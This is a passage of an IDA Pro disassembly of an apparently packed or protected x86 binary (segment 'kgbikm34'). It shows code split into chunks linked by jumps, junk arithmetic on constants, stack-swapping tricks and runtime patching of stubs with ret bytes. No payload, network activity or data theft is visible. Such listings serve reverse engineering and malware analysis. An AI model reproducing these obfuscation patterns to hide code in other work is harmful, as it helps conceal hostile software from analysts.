; FUNCTION CHUNK AT 0043B972 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043ED71 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043F107 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441CDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441E71 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004426DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443289 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443A46 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00443C7A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444FBE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044549F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004465E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447469 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044830A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004486EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A327 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AADF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0044C311 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C3EA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044C505 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DE8A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044DF20 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		jz	loc_444FBE
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_437725
sub_446F79	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_446F91:				; CODE XREF: sub_44DAF3:loc_442965j
		jz	loc_43B8B6
		jmp	loc_44C3B0
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448CA3

loc_446F9C:				; CODE XREF: sub_448CA3:loc_4456F4j
		push	offset loc_4459BF
		jmp	nullsub_109
; END OF FUNCTION CHUNK	FOR sub_448CA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_446FA6:				; CODE XREF: sub_440443-2848j
		sub	edx, 95F97861h
		cmp	edx, 0EC9DEA7Dh

loc_446FB2:				; CODE XREF: sub_43DF5B:loc_44DDB5j
		jmp	loc_4474F6
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443622

loc_446FB7:				; CODE XREF: sub_443622+Bj
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_44BAF1
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		jmp	loc_44944D
; END OF FUNCTION CHUNK	FOR sub_443622
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_285. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	edi, 0D1F09FD8h
		sbb	ecx, esi
		jmp	sub_445F82

; =============== S U B	R O U T	I N E =======================================



sub_446FDF	proc near		; CODE XREF: kgbikm34:0043B45Ej
					; kgbikm34:0043FB00p
		xchg	ebx, [esp+0]
		pop	ebx
		push	edx
		mov	edx, ecx
		xchg	edx, [esp+0]
		jmp	loc_44D35B
sub_446FDF	endp

; ---------------------------------------------------------------------------

locret_446FEE:				; CODE XREF: kgbikm34:0044760Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CABC

loc_446FEF:				; CODE XREF: sub_44CABC-7B76j
		jmp	loc_43FBBD
; END OF FUNCTION CHUNK	FOR sub_44CABC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD63

loc_446FF4:				; CODE XREF: sub_43FD63:loc_444417j
		jge	loc_43FF65
		rol	ecx, 4
		cdq
		jmp	loc_43F744
; END OF FUNCTION CHUNK	FOR sub_43FD63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_447003:				; CODE XREF: sub_438B6B:loc_43DDD3j
		jnz	loc_443585
		jmp	loc_43C00B
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_44700E:				; CODE XREF: sub_444002:loc_439E0Fj
		mov	eax, [ebp-8]
		shr	eax, 0Bh

loc_447014:				; CODE XREF: kgbikm34:0043F9C1j
		xor	[ebp-8], eax
		mov	eax, [ebp-8]
		call	sub_441784
; END OF FUNCTION CHUNK	FOR sub_444002
; START	OF FUNCTION CHUNK FOR sub_440141

loc_44701F:				; CODE XREF: sub_440141+Cj
		jz	loc_437992
		jmp	loc_44D3A1
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CECD

loc_44702A:				; CODE XREF: sub_43CECD:loc_44C3A0j
		pop	edx
		add	eax, 9D16E10Dh
		sub	eax, 619F5EDh
		rol	eax, 1Fh
		jb	loc_44D72D
; END OF FUNCTION CHUNK	FOR sub_43CECD
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_447040:				; CODE XREF: sub_441D2F+5184j
		jmp	loc_438C6C
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAE4

loc_447045:				; CODE XREF: sub_44DAE4-F858j
		jmp	loc_442CA5
; END OF FUNCTION CHUNK	FOR sub_44DAE4
; ---------------------------------------------------------------------------
		popf
		mov	edx, ecx
		jmp	loc_44D728
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438796

loc_447052:				; CODE XREF: sub_438796+9j
		mov	edx, eax
		xchg	edx, [esp+0Ch+var_C]
		mov	edx, eax
		push	offset sub_44AB32
		jmp	nullsub_195
; END OF FUNCTION CHUNK	FOR sub_438796
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446652

loc_447063:				; CODE XREF: sub_446652+11j
		add	ecx, 97981D9Ch
		rol	ecx, 0Eh
		add	ecx, 0FE527C8Eh
		popf
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_446652
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E8C4

loc_44707B:				; CODE XREF: sub_43E8C4+11j
		test	ebx, 20000h
		jmp	loc_43E1FB
; END OF FUNCTION CHUNK	FOR sub_43E8C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_447086:				; CODE XREF: sub_449D78-B210j
		js	loc_43DBAE
		and	eax, 4AC0F31Ah

loc_447092:				; CODE XREF: sub_43BF6F:loc_43A0DBj
		push	eax
		lea	eax, dword_440F50
		push	eax
		push	eax
		jmp	loc_44C710
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
		push	7F8C623Eh
		jmp	loc_44A470
; ---------------------------------------------------------------------------

loc_4470AA:				; CODE XREF: kgbikm34:loc_444FFBj
		push	0A286BBECh
		pop	eax
		sub	eax, 0BEFC7B7Ch
		xor	eax, 0A7BEAD22h
		test	eax, 10h
		jmp	loc_43A04C
; ---------------------------------------------------------------------------

loc_4470C7:				; CODE XREF: kgbikm34:loc_44B9F1j
		mov	ds:dword_41E180, eax
		lea	eax, nullsub_319
		mov	byte ptr [eax],	0C3h
		jmp	loc_4480A0

; =============== S U B	R O U T	I N E =======================================



sub_4470DB	proc near		; DATA XREF: .data:off_425E68o
		call	nullsub_17
		jmp	ds:dword_41E184
sub_4470DB	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
		db 3
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D8F8

loc_4470EB:				; CODE XREF: sub_44D8F8-E7C4j
		jmp	sub_43EB8F
; END OF FUNCTION CHUNK	FOR sub_44D8F8
; ---------------------------------------------------------------------------
		popf
		jmp	sub_44A332
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_274. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	ds:dword_41E198, eax
		lea	eax, nullsub_10
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B26F

; =============== S U B	R O U T	I N E =======================================



sub_44710C	proc near		; CODE XREF: sub_41D9E6j
					; kgbikm34:00440D36j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C8B7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043FE22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447837 SIZE 00000018 BYTES

		push	edi
		push	9C78A9F7h
		jmp	loc_447837
sub_44710C	endp

; ---------------------------------------------------------------------------

loc_447117:				; CODE XREF: kgbikm34:loc_44B9CFj
		rol	edi, 1Eh
		test	edi, 800000h
		jmp	loc_43FA4A
; ---------------------------------------------------------------------------
		cmp	eax, 0AE68960Bh
		jmp	loc_444FFB
; ---------------------------------------------------------------------------

loc_447130:				; CODE XREF: kgbikm34:0043D00Aj
		mov	esi, 30B54AD3h

; =============== S U B	R O U T	I N E =======================================



sub_447135	proc near		; CODE XREF: kgbikm34:0043A0FBp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A34C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043A5C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B953 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C2B3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00445907 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044B6C9 SIZE 00000008 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	edx, eax
		jmp	loc_43A34C
sub_447135	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_447140:				; CODE XREF: sub_439587:loc_43E07Aj
					; sub_43E5AF+B250j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44661A
		jmp	loc_439512
; END OF FUNCTION CHUNK	FOR sub_439587
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_293. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_447152:				; CODE XREF: kgbikm34:loc_44983Fj
					; kgbikm34:00449852j
		sub	esi, 3726805Ah
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_447158:				; CODE XREF: sub_44A1A6:loc_4392DDj
		add	esi, 4CB73659h
		popf
		xchg	esi, [esp-4+arg_0]
		jmp	loc_4484FD
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------
		call	sub_449EA3

loc_44716C:				; CODE XREF: kgbikm34:0044D62Cj
		jmp	loc_447F21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_447171:				; CODE XREF: sub_4471D6-DEFEj
		pop	ecx
		mov	[ebp-20h], eax
; END OF FUNCTION CHUNK	FOR sub_4471D6
; START	OF FUNCTION CHUNK FOR sub_441086

loc_447175:				; CODE XREF: sub_439DBB+Dj
					; sub_441086+8j ...
		js	loc_446B6C
		test	byte ptr [ebp-8], 40h
		jz	loc_44A6B8
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_448D26
		jmp	loc_440FE0
; END OF FUNCTION CHUNK	FOR sub_441086

; =============== S U B	R O U T	I N E =======================================



sub_447193	proc near		; CODE XREF: sub_438ACE+D77p
					; kgbikm34:00444B41j

; FUNCTION CHUNK AT 0043AB42 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043E146 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043E469 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00443CF9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00447A85 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00447F7C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448401 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044C6C5 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, [ebp-4]
		call	sub_43B051
		jmp	loc_447F7C
sub_447193	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4471A4	proc near		; DATA XREF: sub_43B2CF+EE4o

; FUNCTION CHUNK AT 00438973 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043944C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043B820 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CFE6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043DE56 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043E267 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E80D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FBDA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00441A3E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004421F5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00444847 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044ADFB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D8CE SIZE 00000011 BYTES

		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_448235
		jmp	loc_44ADFB
sub_4471A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A2AC

loc_4471B6:				; CODE XREF: sub_44A2AC:loc_4414F8j
		push	0
		call	sub_4471CC
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_44A2BC
		jmp	loc_43FB11
; END OF FUNCTION CHUNK	FOR sub_44A2AC

; =============== S U B	R O U T	I N E =======================================



sub_4471CC	proc near		; CODE XREF: kgbikm34:0043D85Ej
					; sub_44A2AC-9853p ...

; FUNCTION CHUNK AT 0043D9A2 SIZE 00000005 BYTES

		push	offset sub_446AE3
		jmp	loc_43D9A2
sub_4471CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4471D6	proc near		; CODE XREF: sub_44DD79j
					; DATA XREF: sub_44DD5B+14o

; FUNCTION CHUNK AT 00437090 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00437452 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004377C2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00438A13 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00438D04 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004390A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004392BC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043A8B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BC4E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043C79D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E328 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E81F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EAE9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440859 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00441A94 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004430B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443A23 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00444625 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004446C8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00445370 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00446B32 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447171 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00449004 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004496A9 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00449D17 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044BF2B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044C908 SIZE 00000005 BYTES

		mov	eax, [ebp-14h]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		jmp	loc_446B32
sub_4471D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4471ED	proc near		; DATA XREF: kgbikm34:0043F7B0o

; FUNCTION CHUNK AT 0043ED8C SIZE 00000005 BYTES

		mov	byte ptr [eax],	0C3h
		jmp	loc_43ED8C
sub_4471ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_4471F5	proc near		; CODE XREF: sub_403186+298p
					; sub_4471F5+5j
					; DATA XREF: ...
		call	sub_44720A
		jmp	ds:off_41E070
sub_4471F5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444681

loc_447200:				; CODE XREF: sub_444681+15ECj
		jmp	loc_43D97A
; END OF FUNCTION CHUNK	FOR sub_444681
; ---------------------------------------------------------------------------

loc_447205:				; CODE XREF: kgbikm34:00440003j
		jmp	locret_44BE2F

; =============== S U B	R O U T	I N E =======================================



sub_44720A	proc near		; CODE XREF: sub_4471F5p
					; sub_4478CD:loc_44833Bj ...
		xchg	ecx, [esp+0]
		push	ecx
		pop	edx
		xchg	ebx, [esp+0]
		mov	ecx, ebx

loc_447214:				; CODE XREF: kgbikm34:loc_443ABAj
		jmp	loc_437966
sub_44720A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B18D

loc_447219:				; CODE XREF: sub_44B18D:loc_44B1A1j
		jz	loc_43A920
		jmp	loc_43D76B
; END OF FUNCTION CHUNK	FOR sub_44B18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447FC7

loc_447224:				; CODE XREF: sub_447FC7:loc_4393F6j
					; sub_447FC7-16B0j
		call	sub_44A9D8
		mov	edx, 0B242B436h
		call	sub_4487F2
		push	eax
		ror	eax, 13h
		push	offset loc_43783C
		jmp	loc_437498
; END OF FUNCTION CHUNK	FOR sub_447FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCC7

loc_447241:				; CODE XREF: sub_43BCC7+B5FFj
		jl	loc_440FEF
; END OF FUNCTION CHUNK	FOR sub_43BCC7
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_447247:				; CODE XREF: sub_443DF0:loc_44526Fj
		call	sub_44A9D8
		mov	edx, 8D40711Dh
		push	ebx
		call	sub_443A72

loc_447257:				; CODE XREF: sub_44658A+1Cj
		jmp	loc_44067D
; END OF FUNCTION CHUNK	FOR sub_443DF0

; =============== S U B	R O U T	I N E =======================================



sub_44725C	proc near		; DATA XREF: sub_43CD5D:loc_44B5ECo

; FUNCTION CHUNK AT 00441251 SIZE 00000005 BYTES

		call	sub_4400C7
		mov	ds:off_41E028, eax
		lea	eax, sub_4407A7
		mov	byte ptr [eax],	0C3h
		jmp	loc_441251
sub_44725C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CD5D

loc_447275:				; CODE XREF: sub_43CD5D+4j
		xchg	ebp, [esp+4+var_4]
		jmp	loc_445BCB
; END OF FUNCTION CHUNK	FOR sub_43CD5D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	3A5081D1h
		pop	edx
		and	edx, 0F5119D4Dh
		rol	edx, 3
		xor	edx, 54239289h
		jmp	loc_4450C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_447298:				; CODE XREF: sub_449F77-614j
		mov	eax, edx
		call	sub_44BA42
		mov	eax, [esp+0]
		call	sub_43C7C6
		jmp	nullsub_135
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------

loc_4472AC:				; CODE XREF: kgbikm34:loc_441C19j
		xchg	ebx, [esp]
		mov	edi, ebx
		pop	ebx
		call	sub_439DFF
		mov	[edx], esi
		jnp	loc_44266A
		jmp	loc_444D07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCC7

loc_4472C4:				; CODE XREF: sub_43BCC7+Cj
		cmp	edi, ebx
		jmp	loc_447241
; END OF FUNCTION CHUNK	FOR sub_43BCC7
; ---------------------------------------------------------------------------
		jle	nullsub_23
		test	edi, 66AB4B68h
		jmp	loc_43E205
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F09

loc_4472DC:				; CODE XREF: sub_442F09:loc_445D50j
		xor	edx, 8573B173h
		add	edx, 0FAEC811h
		xchg	edx, [esp-4+arg_0]
		jmp	sub_44BA42
; END OF FUNCTION CHUNK	FOR sub_442F09
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_299. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_4472F1:				; CODE XREF: sub_449D59-3619j
		jmp	nullsub_149
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_4472F6:				; CODE XREF: sub_439A2E+7873j
		jmp	loc_446CAD
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_4472FB:				; CODE XREF: sub_4474D5-A615j
					; kgbikm34:00444286j
		jmp	loc_44798B
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB97

loc_447300:				; CODE XREF: sub_43AB97:loc_443B20j
		pop	edx
		and	edx, 0E6283160h
		jnz	loc_44C15A
		xchg	esi, ecx
		cdq
		jmp	loc_44C15A
; END OF FUNCTION CHUNK	FOR sub_43AB97
; ---------------------------------------------------------------------------
		push	offset sub_443F77
		jmp	locret_43A3AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A476

loc_44731F:				; CODE XREF: sub_44A476-73E0j
		jz	loc_449194
		jmp	loc_44D75F
; END OF FUNCTION CHUNK	FOR sub_44A476
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_44732A:				; CODE XREF: sub_43CAB5:loc_44127Aj
		jnz	loc_4467C0

loc_447330:				; CODE XREF: sub_43AD9F+A9A9j
		jmp	loc_44C856
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------

loc_447335:				; CODE XREF: kgbikm34:0044493Fj
		jmp	loc_44806F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB5E

loc_44733A:				; CODE XREF: sub_43AB5E+19j
		jmp	loc_44C176
; END OF FUNCTION CHUNK	FOR sub_43AB5E
; ---------------------------------------------------------------------------
		sub	ecx, 915E6AE0h
		mov	ebx, [eax]
		adc	ecx, ebx
		test	edi, 0F504CF8Bh
		jmp	loc_4467B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_447354:				; CODE XREF: sub_445F1B+2E41j
		call	sub_445F1B
		xchg	edx, [ebp+0]
		adc	edx, 8C34718Eh
		jmp	sub_442C44
; END OF FUNCTION CHUNK	FOR sub_445F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C76D

loc_447367:				; CODE XREF: sub_43C76D:loc_43E2BCj
		xor	eax, 2C84DAE7h
		rol	eax, 2
		xor	eax, 7C954262h
		add	eax, ebp
		add	eax, 80EEE891h
		push	eax
		push	4
		push	eax
		jmp	loc_443346
; END OF FUNCTION CHUNK	FOR sub_43C76D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_447387:				; CODE XREF: sub_449D59-B7E2j
		jo	loc_44C460
		or	ecx, 26DAC9CFh
		pop	ecx

loc_447394:				; CODE XREF: sub_439274+AB5Ej
					; sub_449D59:loc_4448EDj
		add	dword ptr [ebp-4], 8
		jmp	loc_4434BD
; END OF FUNCTION CHUNK	FOR sub_449D59

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44739D	proc near		; CODE XREF: sub_442C44+7j
					; sub_449D59:loc_448B5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= word ptr -6
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A67C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043BCEA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444258 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044512E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004475AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448669 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449B59 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044AF2E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DAD8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044DDE5 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		jnz	sub_445138
		add	esp, 0FFFFFED0h
		jmp	loc_4475AE
sub_44739D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_4473B1:				; CODE XREF: kgbikm34:0044C851j
		retn
; ---------------------------------------------------------------------------

loc_4473B2:				; CODE XREF: kgbikm34:00440282j
		jmp	loc_449BC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_4473B7:				; CODE XREF: sub_444002-A6E3j
		jnb	loc_43F9D2
		xchg	edx, [ebx]

loc_4473BF:				; CODE XREF: sub_444002:loc_441FA4j
		mov	eax, [esp+0]
		push	eax
		call	sub_43E4C0
		or	eax, eax
		jnz	loc_43C949
		jmp	loc_446D55
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_4473D5:				; CODE XREF: sub_449F77-10C2Aj
		or	ecx, 2D340EDEh
		xor	ecx, 0E562B1DAh
		and	ecx, 9F1B973Dh
		add	ecx, 0DB84B110h
		sub	eax, ecx
		xchg	edx, [esp+0]
		mov	ecx, edx
		jmp	loc_44BCFE
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_4473F9:				; CODE XREF: sub_443681+8CC1j
		push	edx
		call	sub_443DF0
		mov	eax, 26F528F2h
		call	sub_43BF6F
		push	ebx
		push	0F674E099h
		jmp	loc_4451B6
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439D4B

loc_447414:				; CODE XREF: sub_439D4B:loc_444F0Ej
		pop	esi

loc_447415:				; CODE XREF: kgbikm34:0044C9A4j
		and	esi, 0A4D88D63h
		add	esi, 5BB3ABDFh
		xchg	esi, [esp-0Ch+arg_8]
		jmp	sub_4479B1
; END OF FUNCTION CHUNK	FOR sub_439D4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_447429:				; CODE XREF: sub_442B15:loc_44B95Bj
		call	sub_43C2A1

loc_44742E:				; DATA XREF: sub_4494B1-A2DCo
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_443941
		jmp	loc_44B80E
; END OF FUNCTION CHUNK	FOR sub_442B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4424F7

loc_44743D:				; CODE XREF: sub_4424F7+50F0j
		mov	eax, [ebx]

loc_44743F:				; CODE XREF: sub_4424F7:loc_44B432j
		lea	edx, [ebp-14h]
		push	offset loc_43D61D
		jmp	loc_44C171
; END OF FUNCTION CHUNK	FOR sub_4424F7

; =============== S U B	R O U T	I N E =======================================



sub_44744C	proc near		; DATA XREF: kgbikm34:0043CA65o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043CF7D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004467FA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00447EC0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044B39E SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jns	loc_447EC0
		jmp	loc_43CF7D
sub_44744C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442A46

loc_447462:				; CODE XREF: sub_442A46:loc_447C0Cj
		xchg	esi, ecx
		jmp	loc_44822D
; END OF FUNCTION CHUNK	FOR sub_442A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_447469:				; CODE XREF: sub_446F79+13A4j
		pop	edx
		or	edx, 69BE15B2h

loc_447470:				; CODE XREF: kgbikm34:loc_442174j
		add	edx, 168555C5h
		xchg	edx, [esp-8+arg_4]
		jmp	loc_437F4C
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_44747E:				; CODE XREF: sub_43AD9F-18CFj
		test	esi, 0C4C243CCh
		jmp	loc_43DDB7
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------

loc_447489:				; CODE XREF: kgbikm34:0043709Bj
